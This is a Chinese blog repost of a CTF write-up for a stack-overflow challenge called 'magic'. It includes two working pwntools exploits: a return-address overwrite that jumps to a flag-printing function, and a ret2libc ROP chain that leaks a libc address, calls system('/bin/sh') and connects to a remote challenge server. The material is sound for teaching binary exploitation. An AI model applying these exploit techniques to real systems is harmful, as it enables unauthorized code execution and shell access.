博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
安恒pwn魔法
阅读量:4947 次
发布时间:2019-06-11

本文共 1367 字,大约阅读时间需要 4 分钟。

魔法这是比较基础的一道栈溢出;

首先看下开启的防护机制

Checksec magicc发现只有nx防护

我们载入ida发现溢出点

Buf实际溢出空间为0x16,构造exp

import time

from pwn import *

p=process('./magicc')

p.recvuntil('Choose!')

p.sendline('4')

p.recvuntil('success')

payload1='A'*22

#system=

#asd=0x804876e

#ret=0x8048770

cat=0x80485AD

#hgd=0x80485a7

#exit_addr=0x8048450

#nxaddr=p32(0x80485A7)

payload=payload1+p32(cat)

p.sendline(payload)

p.interactive()

另外是采用rop

from pwn import *

context.log_level = "debug"

context.arch = "i386"

elf = ELF("magicc")

sh = 0

lib = 0

def pwn(ip,port,debug):

global sh

global lib

if(debug == 1):

sh = process("./magicc")

else:

sh = remote(ip,port)

lib = ELF("libc6-i386_2.23-0ubuntu10_amd64.so")

catFlag = 0x08048847

offset = 22

sh.recv()

sh.sendline("4")

sh.recvuntil("You are one step short of success\n")

payload = offset * "a" + p32(elf.plt['puts']) + p32(0x08048490) + p32(elf.got['__libc_start_main'])

sh.sendline(payload)

__libc_start_main = u32(sh.recv(4))

log.success("__libc_start_main: " + hex(__libc_start_main))

libc = __libc_start_main - lib.symbols['__libc_start_main']

system = libc + lib.symbols['system']

binsh = libc + lib.search("/bin/sh\x00").next()

sh.sendline("4")

sh.recv()

sh.sendline(offset * "a" + p32(elf.plt['system']) + p32(0x08048490) + p32(binsh))

sh.interactive()

if __name__ == "__main__":

pwn("101.71.29.5",10001,0)

转载于:https://www.cnblogs.com/kk328/p/11348704.html

你可能感兴趣的文章
maven pom添加本地jar,不提交私库
查看>>
所有的包装类对象之间值的比较,全部使用equals方法比较。
查看>>
OC进阶(三)
查看>>
Android中Context详解——你所不知道的Context
查看>>
C#中DBNull.Value和Null的用法和区别
查看>>
P4782 【模板】2-SAT 问题
查看>>
etcd节点扩容至两个节点
查看>>
Opensuse系统配置记录
查看>>
【windows8开发】开发平台与开发框架
查看>>
机电行业如何进行信息化建设
查看>>
Windows Azure Platform Introduction (4) Windows Azure架构
查看>>
【转】chrome developer tool 调试技巧
查看>>
mahout运行测试与kmeans算法解析
查看>>
互相给一巴掌器
查看>>
Android SDK环境变量配置
查看>>
VM10虚拟机安装图解
查看>>
9、总线
查看>>
Git 笔记 - section 1
查看>>
java通过jsp+javaBean+servlet实现下载功能
查看>>
STM32 使用Cubemx 建一个USB(HID)设备下位机,实现数据收发
查看>>